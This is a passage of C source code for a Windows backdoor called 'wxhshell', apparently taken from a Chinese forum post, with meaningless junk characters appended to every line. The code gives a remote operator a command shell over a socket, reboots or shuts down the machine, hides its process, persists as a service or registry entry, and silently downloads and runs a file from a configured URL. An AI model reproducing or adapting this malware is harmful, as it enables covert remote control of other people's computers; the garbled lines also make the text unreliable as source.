  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JkZ50L  
  } <lUOJV{&\  
  else { pX@Si3G`  
m23+kj)+VY  
    switch(cmd[0]) { g3Z:{@m  
  vu=me?m?(  
  // 帮助 _w 5RK(  
  case '?': { g%ubvu2t]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ab/j(xr=  
    break; [`d$X^<y;  
  } p8Iw!HE  
  // 安装 7_-w_"X  
  case 'i': { 0axxQ!Ivx  
    if(Install()) ~ |6dH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :M06 ;:e  
    else (ab{F5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r#A_RZ2~@  
    break; 7KU~(?|:h  
    } 7c-Gm R2  
  // 卸载 iZaeoy  
  case 'r': { @}WNKS&m  
    if(Uninstall()) blGf!4H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *I0Tbc O  
    else ] /+D^6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %?bcT[|3  
    break; u_PuqRcs  
    } &-M]xo ^  
  // 显示 wxhshell 所在路径 f|U0s  
  case 'p': { p~K9 B-D  
    char svExeFile[MAX_PATH]; 6R`Oh uN.>  
    strcpy(svExeFile,"\n\r"); Zmf'{tT5  
      strcat(svExeFile,ExeFile); %JtbRs(~q  
        send(wsh,svExeFile,strlen(svExeFile),0); 2#3^skj  
    break; #Z\ O}<  
    } Cp#)wxi6[y  
  // 重启 FXV`9uq}Z  
  case 'b': { $J.T$0pFa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k@V#HC{t  
    if(Boot(REBOOT)) I^D0<lHl~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1r$='*I  
    else { 'CXRG$D  
    closesocket(wsh); r [s!F=^  
    ExitThread(0); p~2UUm V  
    } LvJGvj  
    break; @wp4 |G  
    } [|[>}z:  
  // 关机 q]\X~ 9#  
  case 'd': { SHD^}?-|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,m^;&&  
    if(Boot(SHUTDOWN)) a8$kNtA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e*C6uz9N  
    else { 1DE@N1l  
    closesocket(wsh); ,Ol (piR  
    ExitThread(0); \hlR]m!C  
    } /- 4$7qd  
    break; '7*=`q{  
    } aQ#qRkI  
  // 获取shell S:q$?$  
  case 's': { PmR*}Aw  
    CmdShell(wsh); Ri#H.T<'  
    closesocket(wsh); B@O@1?c[  
    ExitThread(0); at6149B\)  
    break; ]"F5;p; y  
  } WZZ4]cC  
  // 退出 1zftrX~v!X  
  case 'x': { ~9=aT1S|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w8iR|TV  
    CloseIt(wsh); ]XeO0Y  
    break; C5W>W4EM  
    } b.F^vv"]]  
  // 离开 :?Y$bX}a  
  case 'q': { :!fG; )=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *1{S*`|cJy  
    closesocket(wsh); K>2#UzW  
    WSACleanup(); AW,OH SXh6  
    exit(1); K-eY|n  
    break; ifK%6o6  
        } ~]'pY  
  } U7iuY~L  
  } jN0k9O>  
%O%=rUD  
  // 提示信息 \}_Yd8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ir16   
} }LP!)|E  
  } zf[`~g  
Vp}^NNYf  
  return; &v!WVa?  
} pV(lhDNoQ  
KCuG u}  
// shell模块句柄 B*1W`f  
int CmdShell(SOCKET sock) ZJ,cQ+fn  
{ Thr*^0$C  
STARTUPINFO si; {g6Qv-  
ZeroMemory(&si,sizeof(si)); ;AJTytE>%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ucdj4[/,h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T]T;$  
PROCESS_INFORMATION ProcessInfo; }_ mT l@*  
char cmdline[]="cmd"; E7zm{BX]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bi3+)k>u7  
  return 0; Pw0Ci  
} ?=;qK{)37  
^Q+i=y{W  
// 自身启动模式 i/So6jW  
int StartFromService(void) ]@^coj[  
{ Xz 4 x  
typedef struct Yw; D:Y(  
{ 5 BtX63  
  DWORD ExitStatus; 1w(JEqY3h:  
  DWORD PebBaseAddress; SP]IUdE\  
  DWORD AffinityMask; p4K.NdUH  
  DWORD BasePriority; L,,*gK  
  ULONG UniqueProcessId; ]aryV?!6  
  ULONG InheritedFromUniqueProcessId; JUAS$Y  
}   PROCESS_BASIC_INFORMATION; ~z5R{;Nbz|  
hsKmnH@#  
PROCNTQSIP NtQueryInformationProcess; fV:4#j  
D4JLtB'=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TXXy\$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Kwh?8.  
7OCwG~_^  
  HANDLE             hProcess; ;Xvp6.:  
  PROCESS_BASIC_INFORMATION pbi; _c$9eAe  
3]&o*Ib1`_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eP.Vd7ky  
  if(NULL == hInst ) return 0; SJt<+kg  
0c^>eq]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X[gn+6WB%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I zbU)ud  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KInk^`C/H  
 y! .J  
  if (!NtQueryInformationProcess) return 0; Zk8|K'oHx  
6]zd.W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C[!MS5  
  if(!hProcess) return 0; wCf~O'XLw  
{O<l[|Ip  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C:8_m1Y{  
c#IYFTz  
  CloseHandle(hProcess); b1XRC`Gy  
r|e-<t4.9L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D]a<4a 18  
if(hProcess==NULL) return 0; SUKxkc(  
qn1255fB  
HMODULE hMod; 73#x|lY  
char procName[255]; [YrHA~=U  
unsigned long cbNeeded; 0$+fkDf  
G 0O#/%%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vm}%ttTC  
#rO8Kf  
  CloseHandle(hProcess); oh"O07  
65h @}9,U  
if(strstr(procName,"services")) return 1; // 以服务启动 {U<xdG  
`U#55k9^5  
  return 0; // 注册表启动 -<v~snq'  
} `@[c8j7  
4wd& 55=2  
// 主模块 2&c9q5.b  
int StartWxhshell(LPSTR lpCmdLine) zA+~7;7E  
{ )*;zW! H  
  SOCKET wsl; 'Jf^`ZT}  
BOOL val=TRUE; !zj0/Q G\  
  int port=0; pD]0`L-HJU  
  struct sockaddr_in door; 0;4t&v7  
@_:]J1jw7  
  if(wscfg.ws_autoins) Install(); "8^5>EJWv  
u]u[(K5F  
port=atoi(lpCmdLine); OouPj@r  
[gy*`@w  
if(port<=0) port=wscfg.ws_port; P`s  
-/{ 4Jf Wf  
  WSADATA data; x3qW0K8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jdE5~a+  
-C(b,F%%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9% l%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #ET/ =  
  door.sin_family = AF_INET; 8]4U`\k4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 63`{.yZ*z  
  door.sin_port = htons(port); V-n&oCS+f  
&B! o,qp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +w@M~?>  
closesocket(wsl); 2C{H$ A,pW  
return 1; C2Xd?d  
} jM-)BP6f4  
&E xYXI  
  if(listen(wsl,2) == INVALID_SOCKET) { l]~n3IK"  
closesocket(wsl); "S 3wk=?4  
return 1; WDFjp  
} FnJ?C&xK  
  Wxhshell(wsl); dq[Mj5eC  
  WSACleanup(); V=fEPM  
<mi-}s  
return 0; S= _vv)6+4  
2z\zh[(w  
} \U|ZR  
3}|'0(hYL  
// 以NT服务方式启动 !mWiYpbU+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x.8TRMk^  
{ CPg+f1K  
DWORD   status = 0; btdb%Q*  
  DWORD   specificError = 0xfffffff; >pU:Gr  
*@d&5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EkGQ(fZ1|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #2r}?hP/m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  /'31w9  
  serviceStatus.dwWin32ExitCode     = 0; +w=AJdc  
  serviceStatus.dwServiceSpecificExitCode = 0; o9cM{ya/>  
  serviceStatus.dwCheckPoint       = 0; h3dsd  
  serviceStatus.dwWaitHint       = 0; &WNf M+  
JaB<EL-9r2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~T) Q$  
  if (hServiceStatusHandle==0) return; u,}{I}x_  
~ek$C  
status = GetLastError(); 4 C}bJzZ  
  if (status!=NO_ERROR) +}f9   
{ LM&y@"wfm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k)TSR5A  
    serviceStatus.dwCheckPoint       = 0; Q#nOJ(KV  
    serviceStatus.dwWaitHint       = 0; ,V*%V;  
    serviceStatus.dwWin32ExitCode     = status; R+&jD;U{  
    serviceStatus.dwServiceSpecificExitCode = specificError; ooUk O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N^Bo .U0\  
    return; n_3O-X(  
  } t3dlS`O  
TLoz)&@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kOh{l: 2-+  
  serviceStatus.dwCheckPoint       = 0; 5|jw^s7  
  serviceStatus.dwWaitHint       = 0; #v<QbA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MwmUgN"g  
} &QhX1dT+  
wn)JXR  
// 处理NT服务事件,比如:启动、停止 ~I{n^Q/a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +-E~6^>  
{ 1Bpv"67  
switch(fdwControl) e["2QIOe  
{ LBF 1;zjK  
case SERVICE_CONTROL_STOP: _E@ :O+K  
  serviceStatus.dwWin32ExitCode = 0; nu'M 39{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nbp!teH6  
  serviceStatus.dwCheckPoint   = 0; ?B :a|0pf  
  serviceStatus.dwWaitHint     = 0; 'Ysx=  
  { JPGzrEaZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7"8hC  
  } +[5.WC7J  
  return; Qx[t /~  
case SERVICE_CONTROL_PAUSE: qIld;v8w"g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -WYAN:s  
  break; !qX_I db\  
case SERVICE_CONTROL_CONTINUE: B/` !K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i86>]  
  break; E*jP87g  
case SERVICE_CONTROL_INTERROGATE: =zyC-;r!  
  break; 5 Kkdo!z  
}; V*W;OiE_ 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Qxh)@ N  
} H@ t'~ZO  
o1<_fI  
// 标准应用程序主函数 hGiz)v~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }<dRj  
{ ~i`>adJ:  
f%V4pzOc"  
// 获取操作系统版本 |Pg@M  
OsIsNt=GetOsVer(); {#)0EzV6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6 ~ >FYX  
e^O(e  
  // 从命令行安装 qu|B4?Y/CR  
  if(strpbrk(lpCmdLine,"iI")) Install(); .|/~op4;  
"_`F\DGAZu  
  // 下载执行文件 $^@)  
if(wscfg.ws_downexe) { wQRZ"ri,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^$ t7+g  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6oBfB8]:d  
} ?:w1je7  
E8-P"`Qba  
if(!OsIsNt) { 8jyG" %WO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sv  &[f}S  
HideProc(); J9=m]R8T  
StartWxhshell(lpCmdLine); U*3uq7  
} 5< ja3  
else zL\OB?)5J  
  if(StartFromService()) *6} N =Z  
  // 以服务方式启动 VO"("7L  
  StartServiceCtrlDispatcher(DispatchTable); Ntbg`LGf'!  
else -=(!g&0  
  // 普通方式启动 vBog0KD);s  
  StartWxhshell(lpCmdLine); s M+WkN}{  
e6!LSx}y  
return 0; z@wMc EH  
}
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只看该作者 1 发表于: 2006-10-10
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